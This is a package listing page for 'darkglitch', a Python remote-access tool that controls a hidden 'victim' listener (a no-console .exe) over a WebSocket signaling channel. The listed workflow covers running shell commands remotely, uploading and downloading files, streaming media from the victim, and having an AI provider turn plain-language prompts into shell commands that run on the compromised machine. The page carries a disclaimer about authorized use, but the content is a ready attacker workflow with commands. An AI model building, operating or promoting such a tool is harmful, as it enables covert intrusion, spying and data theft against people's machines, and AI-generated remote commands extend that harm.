Skip to main content

Remote command delivery and media streaming tool over WebRTC signaling

Project description

darkglitch

darkglitch

darkglitch is a lightweight Python proof-of-concept for remote command execution, file transfer, and media streaming over a WebSocket signaling channel. It is intended for authorized security testing and educational use.

What it supports

  • start a listener that registers a client and waits for commands
  • list online peers in the same signaling room
  • run shell commands remotely
  • upload and download files
  • stream media from a connected client
  • turn a natural-language prompt into a shell command with an AI provider

Requirements

  • Python 3.10+
  • dependencies from requirements.txt
  • a Groq API key if you want to use the AI prompt mode

Installation

From the project root:

python3 -m venv .venv
source .venv/bin/activate
pip install -e .

If you want to use the AI prompt mode, install the OpenAI Python client (used with Groq's OpenAI-compatible API):

pip install openai

Configuration

Edit core/config.py to point the client at your signaling server and room:

HOST = "https://your-signal-server.example/"
ROOM = "your-room"

Basic workflow

1. Start a listener (victim side)

Start from source:

python darkglitch.py -l -b

The output is placed in ./dist/darkglitch_listener.exe (built with --noconsole, so it should not pop a console window).

2. List online peers (attacker side)

python darkglitch.py -ol

3. Send a remote command

python darkglitch.py -c <client_id> "whoami"

4. Use an AI-generated bash prompt

python darkglitch.py -ai <client_id> "list all folders in root"

This uses a Groq-backed provider to turn your prompt into a shell command before executing it remotely. If Groq is unavailable or the model returns something unusable, the tool falls back to a simple built-in command.

5. Upload or download files

python darkglitch.py -u <client_id> /path/to/local/file /path/to/remote/file
python darkglitch.py -d <client_id> /path/to/remote/file /path/to/local/file

Help and version

python darkglitch.py -h
python darkglitch.py -v

AI setup

If you want to use the AI prompt mode, export your Groq API key:

export GROQ_API_KEY="your-groq-api-key"

You can override the default model and timeout if needed:

export GROQ_MODEL=openai/gpt-oss-20b
export GROQ_TIMEOUT=60

Notes

This repository is for research and learning only. Do not deploy it against systems or networks without explicit permission.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

darkglitch-1.2.9.tar.gz (27.6 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

darkglitch-1.2.9-py3-none-any.whl (30.7 kB view details)

Uploaded Python 3

File details

Details for the file darkglitch-1.2.9.tar.gz.

File metadata

  • Download URL: darkglitch-1.2.9.tar.gz
  • Upload date:
  • Size: 27.6 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.14.6

File hashes

Hashes for darkglitch-1.2.9.tar.gz
Algorithm Hash digest
SHA256 d0253ff10924a74cef791388df263d161c40fad05ca21bc2b3fa771f809c4353
MD5 ed0c05b6a6e0888337baadeaecb04ff2
BLAKE2b-256 ab283b4d4088aab70382947880c75d1735f2ec1c98e2610b143763580830aa7c

See more details on using hashes here.

File details

Details for the file darkglitch-1.2.9-py3-none-any.whl.

File metadata

  • Download URL: darkglitch-1.2.9-py3-none-any.whl
  • Upload date:
  • Size: 30.7 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.14.6

File hashes

Hashes for darkglitch-1.2.9-py3-none-any.whl
Algorithm Hash digest
SHA256 eacc290d074966f602b5352fa006b68fc1f7d992d3562945e88303649e3ed2f7
MD5 f49c1d5c67008eac0ad7b2f63ddcfb7b
BLAKE2b-256 775bca981cc1fa77037c3f7098cb2af20d595a0490aa75166def18d1e55f3222

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page